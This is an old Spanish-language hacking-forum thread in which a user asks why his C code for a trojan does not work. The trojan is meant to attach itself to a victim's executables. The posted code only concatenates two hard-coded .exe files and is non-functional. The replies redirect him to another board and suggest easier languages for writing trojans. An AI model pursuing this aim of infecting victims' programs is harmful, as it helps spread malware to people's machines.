elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
29 Agosto 2008, 20:49  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Man-In-the-Middle, Hendriҳ)
| | |-+  Problema Intento de Troyano xD
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Problema Intento de Troyano xD  (Leído 239 veces)
germandc

Desconectado Desconectado

Mensajes: 30



Ver Perfil WWW
Problema Intento de Troyano xD
« en: 12 Abril 2008, 06:07 »

Holas, estoy creando un troyano y quise hacer que cuando la victima lo habra busque todos los ejecutables y se agregue a los que encuentre, para hacerlo lo hice con las API's CreateFile, WriteFile y ReadFile.
Asi es como lo hice:
Código:
#include <windows.h>
#include <stdio.h>
main()
{
DWORD writed,MSize,readed,VSize;
LPSTR MContent,VContent;
HANDLE nuevo,server,nuevor;
server=CreateFile("C:\\servidor.exe",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
if (server!=INVALID_HANDLE_VALUE)
{
                                 MSize = GetFileSize(server,
                                                    NULL);
                                MContent = (LPSTR)GlobalAlloc(GPTR,MSize+1);
                                if(MContent!=NULL)

                                {
                                ReadFile(
                                server,
                                MContent,
                                MSize,
                                &readed,
                                0);
                                CloseHandle(server);
                                }

nuevor=CreateFile("C:\\nuevo.exe",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
if (nuevor!=INVALID_HANDLE_VALUE)
{
                                 VSize = GetFileSize(nuevor,
                                                    NULL);
                                VContent = (LPSTR)GlobalAlloc(GPTR,VSize+1);
                                if(VContent!=NULL)

                                {
                                ReadFile(
                                nuevor,
                                VContent,
                                VSize,
                                &readed,
                                0);
                                CloseHandle(nuevor);
                                }

nuevo=CreateFile("C:\\servnue.exe",
GENERIC_WRITE,0,0,
OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
}
if (nuevo!=INVALID_HANDLE_VALUE)
{
                               
                                WriteFile(
                                nuevo,
                                VContent,
                                VSize,
                                &writed,
                                0);
                                WriteFile(
                                nuevo,
                                MContent,
                                MSize,
                                &writed,
                                0);
                                CloseHandle(nuevo);
                                }
                                }
}
Lo que intenta hacer es leer servidor.exe y nuevo.exe y juntarlos en servnue.exe.
Me resulto muy facil, y como es normal no funciona, solo ejecuta el primero que agregue con WriteFile.
¿Esta muy mal el codigo o le falta algo?

Gracias, Chau
En línea
K-19

Desconectado Desconectado

Mensajes: 461


Sarah Wayne


Ver Perfil
Re: Problema Intento de Troyano xD
« Respuesta #1 en: 12 Abril 2008, 11:43 »

Lo que está mal es que lo hayas posteado en este foro, mejor postealo en el foro correspondiente, el de programación C/C++

http://foro.elhacker.net/index.php/board,49.0.html
En línea

EsTeBaN~

Desconectado Desconectado

Mensajes: 37


Ver Perfil
Re: Problema Intento de Troyano xD
« Respuesta #2 en: 12 Abril 2008, 23:05 »

Aparte de lo que dijo K-19 que tiene mucha razón, otra cosa es que, ya sabemos que C++ es un lenguaje muy potente y mas rápido que los otros, pero se te va a hacer difícil programar un troyano completo en ese lenguaje :S

Sería muy largo el code, y te va a llevar mucho tiempo. Mejor lo haces en delphi, o VB o alguno de esos que son mas fáciles.

Ahora bien, si vos lo querés hacer en C++ porque te resulta más comodo, o porque te querés superar, o algo parecido, entonces está bien, era nada más una recomendación.

Yo no te puedo ayudar mucho porque recién empezé con C++, asi que se menos de lo básico, pero ya te van a ayudar si lo posteas en el foro correspondiente ;)

Saludos
En línea
Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC